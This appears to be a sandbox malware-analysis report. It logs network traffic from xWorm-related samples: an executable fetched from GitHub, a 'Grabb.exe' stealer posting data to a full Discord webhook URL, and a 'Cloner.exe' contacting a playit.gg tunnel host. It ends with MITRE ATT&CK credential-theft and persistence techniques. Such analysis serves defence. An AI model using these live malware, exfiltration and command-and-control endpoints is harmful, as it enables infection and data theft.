Remote address:

8.8.8.8:53

Request

8.8.8.8.in-addr.arpa

IN PTR

Response

8.8.8.8.in-addr.arpa

IN PTR

dnsgoogle
DNS

217.106.137.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

217.106.137.52.in-addr.arpa

IN PTR

Response
DNS

github.com

msedge.exe

Remote address:

8.8.8.8:53

Request

github.com

IN A

Response

github.com

IN A

20.26.156.215
GET

https://github.com/3z02/Dont-/raw/main/xWorm+v5.6.exe

msedge.exe

Remote address:

20.26.156.215:443

Request

GET /3z02/Dont-/raw/main/xWorm+v5.6.exe HTTP/2.0
host: github.com
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Microsoft Edge";v="92"
sec-ch-ua-mobile: ?0
dnt: 1
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Edg/92.0.902.67
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
sec-fetch-site: none
sec-fetch-mode: navigate
sec-fetch-user: ?1
sec-fetch-dest: document
accept-encoding: gzip, deflate, br
accept-language: en-US,en;q=0.9

Response

HTTP/2.0 302

server: GitHub.com
date: Fri, 06 Sep 2024 15:00:51 GMT
content-type: text/html; charset=utf-8
vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With
access-control-allow-origin:
location: https://raw.githubusercontent.com/3z02/Dont-/main/xWorm%2Bv5.6.exe
cache-control: no-cache
strict-transport-security: max-age=31536000; includeSubdomains; preload
x-frame-options: deny
x-content-type-options: nosniff
x-xss-protection: 0
referrer-policy: no-referrer-when-downgrade
content-security-policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com *.rel.tunnels.api.visualstudio.com wss://*.rel.tunnels.api.visualstudio.com api.githubcopilot.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com/v1/engines/github-completion/completions proxy.enterprise.githubcopilot.com/v1/engines/github-completion/completions *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/
content-length: 0
x-github-request-id: EA40:14F9E:3D003DB:4486729:66DB1922
DNS

raw.githubusercontent.com

msedge.exe

Remote address:

8.8.8.8:53

Request

raw.githubusercontent.com

IN A

Response

raw.githubusercontent.com

IN A

185.199.109.133

raw.githubusercontent.com

IN A

185.199.110.133

raw.githubusercontent.com

IN A

185.199.111.133

raw.githubusercontent.com

IN A

185.199.108.133
GET

https://raw.githubusercontent.com/3z02/Dont-/main/xWorm%2Bv5.6.exe

msedge.exe

Remote address:

185.199.109.133:443

Request

GET /3z02/Dont-/main/xWorm%2Bv5.6.exe HTTP/2.0
host: raw.githubusercontent.com
dnt: 1
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Edg/92.0.902.67
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
sec-fetch-site: none
sec-fetch-mode: navigate
sec-fetch-user: ?1
sec-fetch-dest: document
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Microsoft Edge";v="92"
sec-ch-ua-mobile: ?0
accept-encoding: gzip, deflate, br
accept-language: en-US,en;q=0.9

Response

HTTP/2.0 200

cache-control: max-age=300
content-security-policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
content-type: application/octet-stream
etag: W/"1a1d58d7f4eff9bd744ec6bebab368924489e2f368988c1bea88ae9393dda613"
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
x-frame-options: deny
x-xss-protection: 1; mode=block
x-github-request-id: 5B07:143B1A:8299F3:9FB431:66DB1921
accept-ranges: bytes
date: Fri, 06 Sep 2024 15:00:51 GMT
via: 1.1 varnish
x-served-by: cache-lon420145-LON
x-cache: MISS
x-cache-hits: 0
x-timer: S1725634851.443823,VS0,VE518
vary: Authorization,Accept-Encoding,Origin
access-control-allow-origin: *
cross-origin-resource-policy: cross-origin
x-fastly-request-id: ab67e362a719ac283748f88d07019c775d849050
expires: Fri, 06 Sep 2024 15:05:51 GMT
source-age: 0
content-length: 12582912
DNS

215.156.26.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

215.156.26.20.in-addr.arpa

IN PTR

Response
DNS

34.56.20.217.in-addr.arpa

Remote address:

8.8.8.8:53

Request

34.56.20.217.in-addr.arpa

IN PTR

Response
DNS

95.221.229.192.in-addr.arpa

Remote address:

8.8.8.8:53

Request

95.221.229.192.in-addr.arpa

IN PTR

Response
DNS

22.160.190.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

22.160.190.20.in-addr.arpa

IN PTR

Response
DNS

133.109.199.185.in-addr.arpa

Remote address:

8.8.8.8:53

Request

133.109.199.185.in-addr.arpa

IN PTR

Response

133.109.199.185.in-addr.arpa

IN PTR

cdn-185-199-109-133githubcom
DNS

241.150.49.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

241.150.49.20.in-addr.arpa

IN PTR

Response
DNS

gstatic.com

Grabb.exe

Remote address:

8.8.8.8:53

Request

gstatic.com

IN A

Response

gstatic.com

IN A

142.250.102.94

gstatic.com

IN A

142.250.102.120
GET

https://gstatic.com/generate_204

Grabb.exe

Remote address:

142.250.102.94:443

Request

GET /generate_204 HTTP/1.1
Host: gstatic.com
Connection: Keep-Alive

Response

HTTP/1.1 204 No Content

Content-Length: 0
Cross-Origin-Resource-Policy: cross-origin
Date: Fri, 06 Sep 2024 15:01:08 GMT
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
DNS

ip-api.com

Grabb.exe

Remote address:

8.8.8.8:53

Request

ip-api.com

IN A

Response

ip-api.com

IN A

208.95.112.1
GET

http://ip-api.com/line/?fields=hosting

Grabb.exe

Remote address:

208.95.112.1:80

Request

GET /line/?fields=hosting HTTP/1.1
Host: ip-api.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Fri, 06 Sep 2024 15:01:07 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 6
Access-Control-Allow-Origin: *
X-Ttl: 60
X-Rl: 44
DNS

94.102.250.142.in-addr.arpa

Remote address:

8.8.8.8:53

Request

94.102.250.142.in-addr.arpa

IN PTR

Response

94.102.250.142.in-addr.arpa

IN PTR

rb-in-f941e100net
DNS

1.112.95.208.in-addr.arpa

Remote address:

8.8.8.8:53

Request

1.112.95.208.in-addr.arpa

IN PTR

Response

1.112.95.208.in-addr.arpa

IN PTR

ip-apicom
GET

http://ip-api.com/json/?fields=225545

Grabb.exe

Remote address:

208.95.112.1:80

Request

GET /json/?fields=225545 HTTP/1.1
Host: ip-api.com

Response

HTTP/1.1 200 OK

Date: Fri, 06 Sep 2024 15:01:11 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 161
Access-Control-Allow-Origin: *
X-Ttl: 60
X-Rl: 44
DNS

canary.discord.com

Grabb.exe

Remote address:

8.8.8.8:53

Request

canary.discord.com

IN A

Response

canary.discord.com

IN A

162.159.137.232

canary.discord.com

IN A

162.159.135.232

canary.discord.com

IN A

162.159.128.233

canary.discord.com

IN A

162.159.138.232

canary.discord.com

IN A

162.159.136.232
POST

https://canary.discord.com/api/webhooks/1279146469588340746/OZT0SJ0y5zhhi2z7H8eJ576F3-SmO2zrejY7aiS_DYX6c0ea5nuejVV4CjY8Hs9MDl_G

Grabb.exe

Remote address:

162.159.137.232:443

Request

POST /api/webhooks/1279146469588340746/OZT0SJ0y5zhhi2z7H8eJ576F3-SmO2zrejY7aiS_DYX6c0ea5nuejVV4CjY8Hs9MDl_G HTTP/1.1
Accept: application/json
User-Agent: Opera/9.80 (Windows NT 6.1; YB/4.0.0) Presto/2.12.388 Version/12.17
Content-Type: application/json; charset=utf-8
Host: canary.discord.com
Content-Length: 940
Expect: 100-continue
Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found

Date: Fri, 06 Sep 2024 15:01:13 GMT
Content-Type: application/json
Content-Length: 45
Connection: keep-alive
CF-Ray: 8bef55452bed7791-LHR
CF-Cache-Status: DYNAMIC
Set-Cookie: __dcfduid=dbda3c5e6c6011efaea38aa41e88672c; Expires=Wed, 05-Sep-2029 15:01:13 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Via: 1.1 google
alt-svc: h3=":443"; ma=86400
X-Content-Type-Options: nosniff
x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
x-ratelimit-limit: 5
x-ratelimit-remaining: 4
x-ratelimit-reset: 1725634874
x-ratelimit-reset-after: 1
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iNiBDpP0WeicLS7CX7%2F0yIzPBXdmHpe4bZORLdjRgP6tz12fokvVPFhZQmBTxeTzBf%2FUWZUVep1JF%2BYNFPqZN%2FsPxHEqUHJnInnsuyszzHK9dt2q3QIczH1tPjMvjZTZ2y09xw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870
Reporting-Endpoints: csp-sentry=https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870
Set-Cookie: __sdcfduid=dbda3c5e6c6011efaea38aa41e88672ca75d4c924fbf294c5df5638faeed2c52904ea2b50170733bf2c06cf51faec99c; Expires=Wed, 05-Sep-2029 15:01:13 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
Set-Cookie: __cfruid=57c76d52f9d5e91bf7fac9befe75e9d35d51006e-1725634873; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Set-Cookie: _cfuvid=FBK5z0SQX_ShA7kJix9I8Au8.9rypa9aN7BVfLvHOdQ-1725634873351-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
POST

https://canary.discord.com/api/webhooks/1279146469588340746/OZT0SJ0y5zhhi2z7H8eJ576F3-SmO2zrejY7aiS_DYX6c0ea5nuejVV4CjY8Hs9MDl_G

Grabb.exe

Remote address:

162.159.137.232:443

Request

POST /api/webhooks/1279146469588340746/OZT0SJ0y5zhhi2z7H8eJ576F3-SmO2zrejY7aiS_DYX6c0ea5nuejVV4CjY8Hs9MDl_G HTTP/1.1
Accept: application/json
User-Agent: Opera/9.80 (Windows NT 6.1; YB/4.0.0) Presto/2.12.388 Version/12.17
Content-Type: multipart/form-data; boundary="9bcd025f-60b2-491d-96e1-2085744242e8"
Host: canary.discord.com
Cookie: __dcfduid=dbda3c5e6c6011efaea38aa41e88672c; __sdcfduid=dbda3c5e6c6011efaea38aa41e88672ca75d4c924fbf294c5df5638faeed2c52904ea2b50170733bf2c06cf51faec99c; __cfruid=57c76d52f9d5e91bf7fac9befe75e9d35d51006e-1725634873; _cfuvid=FBK5z0SQX_ShA7kJix9I8Au8.9rypa9aN7BVfLvHOdQ-1725634873351-0.0.1.1-604800000
Content-Length: 443282
Expect: 100-continue

Response

HTTP/1.1 404 Not Found

Date: Fri, 06 Sep 2024 15:01:13 GMT
Content-Type: application/json
Content-Length: 45
Connection: keep-alive
CF-Ray: 8bef5546ae297791-LHR
CF-Cache-Status: DYNAMIC
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Via: 1.1 google
alt-svc: h3=":443"; ma=86400
X-Content-Type-Options: nosniff
x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
x-ratelimit-limit: 5
x-ratelimit-remaining: 3
x-ratelimit-reset: 1725634875
x-ratelimit-reset-after: 1
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MWcyqT7jhOmqT%2FsGp2qPMcv1EMBoXsdW%2FcbHIZRWqM1LYLozAg%2FBXakOaNal2ViYD%2Fh%2F%2Fna5SFADXYf2rUT3iwIY3QtqRUYIfh8XOc51w8eaKmBN3RTv2rLEu6SMtBPVRvnzuw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870
Reporting-Endpoints: csp-sentry=https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870
Server: cloudflare
DNS

232.137.159.162.in-addr.arpa

Remote address:

8.8.8.8:53

Request

232.137.159.162.in-addr.arpa

IN PTR

Response
DNS

japanese-longer.gl.at.ply.gg

Cloner.exe

Remote address:

8.8.8.8:53

Request

japanese-longer.gl.at.ply.gg

IN A

Response

japanese-longer.gl.at.ply.gg

IN A

147.185.221.22
DNS

22.221.185.147.in-addr.arpa

Remote address:

8.8.8.8:53

Request

22.221.185.147.in-addr.arpa

IN PTR

Response
DNS

103.169.127.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

103.169.127.40.in-addr.arpa

IN PTR

Response
DNS

18.31.95.13.in-addr.arpa

Remote address:

8.8.8.8:53

Request

18.31.95.13.in-addr.arpa

IN PTR

Response
DNS

92.12.20.2.in-addr.arpa

Remote address:

8.8.8.8:53

Request

92.12.20.2.in-addr.arpa

IN PTR

Response

92.12.20.2.in-addr.arpa

IN PTR

a2-20-12-92deploystaticakamaitechnologiescom

20.26.156.215:443

https://github.com/3z02/Dont-/raw/main/xWorm+v5.6.exe

tls, http2

msedge.exe

1.9kB
8.0kB
17
14

HTTP Request

GET https://github.com/3z02/Dont-/raw/main/xWorm+v5.6.exe

HTTP Response

302
185.199.109.133:443

https://raw.githubusercontent.com/3z02/Dont-/main/xWorm%2Bv5.6.exe

tls, http2

msedge.exe

255.8kB
13.0MB
5311
9320

HTTP Request

GET https://raw.githubusercontent.com/3z02/Dont-/main/xWorm%2Bv5.6.exe

HTTP Response

200
142.250.102.94:443

https://gstatic.com/generate_204

tls, http

Grabb.exe

724 B
4.9kB
8
8

HTTP Request

GET https://gstatic.com/generate_204

HTTP Response

204
208.95.112.1:80

http://ip-api.com/line/?fields=hosting

http

Grabb.exe

310 B
267 B
5
2

HTTP Request

GET http://ip-api.com/line/?fields=hosting

HTTP Response

200
208.95.112.1:80

http://ip-api.com/json/?fields=225545

http

Grabb.exe

285 B
510 B
5
4

HTTP Request

GET http://ip-api.com/json/?fields=225545

HTTP Response

200
162.159.137.232:443

https://canary.discord.com/api/webhooks/1279146469588340746/OZT0SJ0y5zhhi2z7H8eJ576F3-SmO2zrejY7aiS_DYX6c0ea5nuejVV4CjY8Hs9MDl_G

tls, http

Grabb.exe

460.2kB
12.4kB
341
156

HTTP Request

POST https://canary.discord.com/api/webhooks/1279146469588340746/OZT0SJ0y5zhhi2z7H8eJ576F3-SmO2zrejY7aiS_DYX6c0ea5nuejVV4CjY8Hs9MDl_G

HTTP Response

404

HTTP Request

POST https://canary.discord.com/api/webhooks/1279146469588340746/OZT0SJ0y5zhhi2z7H8eJ576F3-SmO2zrejY7aiS_DYX6c0ea5nuejVV4CjY8Hs9MDl_G

HTTP Response

404
147.185.221.22:28461

japanese-longer.gl.at.ply.gg

Cloner.exe

16.5kB
669.6kB
319
527
147.185.221.22:28461

japanese-longer.gl.at.ply.gg

Cloner.exe

198.8kB
3.9kB
156
77

8.8.8.8:53

8.8.8.8.in-addr.arpa

dns

66 B
90 B
1
1

DNS Request

8.8.8.8.in-addr.arpa
8.8.8.8:53

217.106.137.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

217.106.137.52.in-addr.arpa
8.8.8.8:53

github.com

dns

msedge.exe

56 B
72 B
1
1

DNS Request

github.com

DNS Response

20.26.156.215
8.8.8.8:53

raw.githubusercontent.com

dns

msedge.exe

71 B
135 B
1
1

DNS Request

raw.githubusercontent.com

DNS Response

185.199.109.133

185.199.110.133

185.199.111.133

185.199.108.133
8.8.8.8:53

215.156.26.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

215.156.26.20.in-addr.arpa
8.8.8.8:53

34.56.20.217.in-addr.arpa

dns

71 B
131 B
1
1

DNS Request

34.56.20.217.in-addr.arpa
8.8.8.8:53

95.221.229.192.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

95.221.229.192.in-addr.arpa
8.8.8.8:53

22.160.190.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

22.160.190.20.in-addr.arpa
224.0.0.251:5353

398 B
6
8.8.8.8:53

133.109.199.185.in-addr.arpa

dns

74 B
118 B
1
1

DNS Request

133.109.199.185.in-addr.arpa
8.8.8.8:53

241.150.49.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

241.150.49.20.in-addr.arpa
8.8.8.8:53

gstatic.com

dns

Grabb.exe

57 B
89 B
1
1

DNS Request

gstatic.com

DNS Response

142.250.102.94

142.250.102.120
8.8.8.8:53

ip-api.com

dns

Grabb.exe

56 B
72 B
1
1

DNS Request

ip-api.com

DNS Response

208.95.112.1
8.8.8.8:53

94.102.250.142.in-addr.arpa

dns

73 B
106 B
1
1

DNS Request

94.102.250.142.in-addr.arpa
8.8.8.8:53

1.112.95.208.in-addr.arpa

dns

71 B
95 B
1
1

DNS Request

1.112.95.208.in-addr.arpa
8.8.8.8:53

canary.discord.com

dns

Grabb.exe

64 B
144 B
1
1

DNS Request

canary.discord.com

DNS Response

162.159.137.232

162.159.135.232

162.159.128.233

162.159.138.232

162.159.136.232
8.8.8.8:53

232.137.159.162.in-addr.arpa

dns

74 B
136 B
1
1

DNS Request

232.137.159.162.in-addr.arpa
8.8.8.8:53

japanese-longer.gl.at.ply.gg

dns

Cloner.exe

74 B
90 B
1
1

DNS Request

japanese-longer.gl.at.ply.gg

DNS Response

147.185.221.22
8.8.8.8:53

22.221.185.147.in-addr.arpa

dns

73 B
130 B
1
1

DNS Request

22.221.185.147.in-addr.arpa
8.8.8.8:53

103.169.127.40.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

103.169.127.40.in-addr.arpa
8.8.8.8:53

18.31.95.13.in-addr.arpa

dns

70 B
144 B
1
1

DNS Request

18.31.95.13.in-addr.arpa
8.8.8.8:53

92.12.20.2.in-addr.arpa

dns

69 B
131 B
1
1

DNS Request

92.12.20.2.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery